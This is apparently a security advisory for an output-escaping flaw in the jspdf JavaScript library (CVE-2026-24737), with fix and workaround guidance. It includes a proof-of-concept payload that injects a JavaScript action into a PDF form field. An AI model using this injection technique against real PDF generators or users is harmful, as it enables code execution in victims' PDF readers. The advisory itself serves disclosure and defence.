Improper Encoding or Escaping of Output Affecting jspdf package, versions <4.1.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.01% (2nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Encoding or Escaping of Output vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-JSPDF-15182650
  • published4 Feb 2026
  • disclosed2 Feb 2026
  • creditAhmet Artuç

Introduced: 2 Feb 2026

NewCVE-2026-24737  (opens in a new tab)
CWE-116  (opens in a new tab)

How to fix?

Upgrade jspdf to version 4.1.0 or higher.

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState, or AcroFormRadioButton.appearanceState functions. An attacker can execute arbitrary JavaScript code in the PDF reader's context by injecting malicious PDF objects, such as JavaScript actions, which are triggered when the user opens the PDF document.

Workaround

This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.

PoC

import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");

References

CVSS Base Scores

version 4.0
version 3.1